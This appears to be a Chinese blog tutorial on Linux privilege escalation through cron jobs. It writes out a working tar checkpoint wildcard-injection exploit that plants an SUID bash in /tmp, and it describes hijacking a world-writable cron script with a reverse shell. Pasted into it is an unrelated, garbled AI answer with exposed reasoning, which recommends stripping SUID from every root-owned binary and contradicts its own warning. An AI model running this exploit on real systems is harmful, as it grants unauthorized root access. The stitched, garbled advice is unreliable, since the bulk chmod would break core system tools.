Linux提权--定时任务--打包配合 SUID(本地)&文件权限配置不当(WEB+本地)

免责声明:本文仅做技术交流与学习...

目录

定时任务 打包配合 SUID-本地

原理:

背景:

操作演示:

分析:

实战发现:

定时任务 文件权限配置不当-WEB&本地

操作演示:


定时任务 打包配合 SUID-本地

原理:

提权通过获取计划任务执行文件信息进行提权 .

1、相对路径和绝对路径执行

2、计划任务命令存在参数调用

利用计划任务的备份功能 tar 命令的参数利用 .

(大部分为本地提权)

背景:

定时任务-->
背景:
运维为了防止数据丢失等,写个定时任务进行数据的打包压缩.
由于数据打包压缩tar命令.
tar可以尝试加参数调用其他命令执行
cd /tmp;tar czf /tmp/backup.tar.gz*
来到tmp目录压缩成backup.tar.gz(当前所有)

--(网站和数据库经常进行备份,tar压缩---隔段时间进行打包.)

操作演示:

#tar--checkpoint=1调用其他命令执行
echo "" > --checkpoint=1  
echo "" > "--checkpoint-action=exec=sh test.sh"  
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > test.sh  
chmod +x test.sh 
#创建好文件之后把定时任务开起来.

---文件弄好之后,把定时任务开起来--->

--等待定时任务的运行(打包)

-->得到压缩文件和一个bash文件(test.sh没有运行.)

./bash 命令怎么执行呢??? 多加个 -p 参数.

./bash -p

分析:

实战发现:

查看定时任务有没有可利用(tar打包压缩).


定时任务 文件权限配置不当-WEB&本地

--就是权限配置不当,其他的低权限可以调用,执行等等.

利用不安全的权限分配操作导致的定时文件覆盖

chmod 777 775 等 所有者 组 其他成员说明

操作演示:

--定时任务里添加

vim /etc/crontab

111.sh < ps(或反弹命令)

./111/sh  发现没权限执行 ---chmod +x后才可以.(因为需要权限啊,)

所以:

如果root用户给文件 777 的权限,那么其他用户和组都能动他了.

改完之后,(写个反弹命令)

--当文件被计划任务调用的时候就上线了.

&lt;think&gt;我们被要求查找系统中可能存在的SUID文件以进行安全检查,特别关注具有SUID限且属于root用户的文件。根据用户供的命令:find/ -uid0 -perm -4000解释:-find /:从根目录开始搜索--uid0 :查找属于用户ID为0(即root用户)的文件--perm -4000:查找设置了SUID位(即限模式中包含4000)的文件但是,注意引用[1]和引用[2]中到的命令,我们也可以使用其他形式,比如:find /-userroot -perm -4000因为root用户的用户ID就是0,所以两种方式等价。另外,引用[3]中到了使用-exec参数来处理找到的文件,但这里我们只需要列出文件。然而,用户命令中使用了-uid0,这可能会包括一些不属于root用户名的文件(因为可能有其他用户也被设置为uid0,但通常只有root是uid0)。所以这个命令是安全的。我们还需要注意,搜索整个文件系统可能需要root限,因为有些目录普通用户无访问。因此,建议使用sudo。因此,正确的命令应该是:sudo find/ -uid0 -perm -40002&gt;/dev/null其中,2&gt;/dev/null是为了将错误信息(如限不足)重定向到空设备,避免显示。另外,引用[2]中到了一个更复杂的find命令,可以同时执行多个操作,但这里我们只需要简单的列出文件。引用[4]到了find命令本身如果具有SUID限,则可能被用于,因此我们需要检查find命令是否在结果中。如果发现find命令设置了SUID位,那么就需要特别注意。引用[5]则与当前问题无关,它是关于文件删除限的。所以,我们执行命令:sudo find/ -uid0 -perm -4000-print2&gt;/dev/null或者,为了显示更详细的信息,我们可以使用:sudo find/ -uid0 -perm -4000-execls -ldb{} \;2&gt;/dev/null这个命令会以长格式列出文件,包括限、所有者、大小、时间等。但是,用户最初的问题只是要求查找,所以我们先列出文件路径。步骤:1.打开终端。2.运行上述命令。注意:由于搜索整个文件系统,可能需要较长时间。另外,我们也可以考虑使用引用[2]中的命令,将结果写入文件,但这里我们直接输出到终端。为了安全起见,我们还可以检查是否有常见的可SUID程序,如nmap、find、vim、bash等。常见可利用的SUID程序列表可以参考GTFOBins(https://gtfobins.github.io/)中标记为SUID的程序。因此,在得到结果后,需要逐一检查这些程序是否在可利用列表中。下面,我们给出具体命令和解释。&lt;/think&gt;### 查找 SUID 文件的安全检查指南 #### 核心命令解析 查找系统中具有 SUID 限且属于 root 用户的文件: ```bash sudo find / -uid 0 -perm -4000 -exec ls -ldb {} \; 2&gt;/dev/null ``` **参数详解**: - `-uid 0`:筛选属于 root 用户(UID=0)的文件 - `-perm -4000`:精确匹配 SUID 限位(`-rwsr-xr-x`) - `-exec ls -ldb {} \;`:以长格式显示文件详细信息(含限和路径) - `2&gt;/dev/null`:忽略限错误等干扰信息 #### 关键安全操作步骤 1. **执行扫描**: ```bash # 仅列出文件路径 sudo find / -uid 0 -perm -4000 2&gt;/dev/null # 详细输出(推荐) sudo find / -uid 0 -perm -4000 -exec ls -ldb {} \; 2&gt;/dev/null ``` 2. **高风险文件识别**: ```bash # 检查常见可程序 sudo find / -uid 0 -perm -4000 \( -name &quot;find&quot; -o -name &quot;nmap&quot; -o -name &quot;vim&quot; -o -name &quot;bash&quot; -o -name &quot;cp&quot; \) 2&gt;/dev/null ``` 3. **结果分析要点**: - 关注非常规路径的可执行文件(如 `/tmp` 下的文件) - 检查第三方工具是否设置 SUID(如 `nmap`) - 识别限异常:`-rwsr-xr-x` 中的 `s` 表示 SUID 4. **安全加固建议**: ```bash # 移除危险文件的 SUID 位(示例) sudo chmod u-s /path/to/risky_program # 批量处理非必要 SUID 文件 sudo find / -uid 0 -perm -4000 -exec chmod u-s {} \; ``` #### SUID 原理与风险 当普通用户执行具有 SUID 限的文件时,会临时获得文件所有者的限(通常为 root)。攻击者可利用此特性: ```mermaid graph LR A[普通用户] --&gt; B(执行 SUID 程序) B --&gt; C{程序是否安全?} C --&gt;|存在漏洞| D[获得 root 限] C --&gt;|安全设计| E[正常执行] ``` #### 常见高风险 SUID 程序 | 程序 | 风险等级 | 加固建议 | 引用 | |---------|----------|-------------------------|------------| | `find` | ⚠️⚠️⚠️ | `chmod u-s /usr/bin/find` | [^4] | | `nmap` | ⚠️⚠️⚠️ | 移除或降 | [GTFOBins] | | `vim` | ⚠️⚠️ | 禁用 SUID | [^1] | | `bash` | ⚠️⚠️⚠️ | 立即移除 SUID | [^3] | | `cp` | ⚠️ | 审计使用场景 | [^5] | &gt; **注意**:`/usr/bin/passwd` 等核心工具需保留 SUID,加固前需评估业务影响[^5]。 #### 自动化监控方案 ```bash # 每日扫描并邮件报警 sudo find / -uid 0 -perm -4000 &gt; /var/log/suid_audit.log mail -s &quot;SUID变更警报&quot; [email protected] &lt; /var/log/suid_audit.log ``` --- ### 相关问题 1. 如何区分必要与非必要的 SUID 限设置? 2. 除了 `find` 命令,还有哪些方法可以检测 SUID 风险? 3. SUID 与 SGID 限在利用上有何本质区别? 4. 如何防止攻击者通过 SUID 程序进行容器逃逸? 5. Linux 限模型中,SUID 与文件删除限的关系是什么?[^5] [^1]: SUID 检测基础命令 [^2]: 复合条件检测技巧 [^3]: 结果处理与加固方法 [^4]: SUID 利用案例 [^5]: 限模型与删除控制
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金灰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值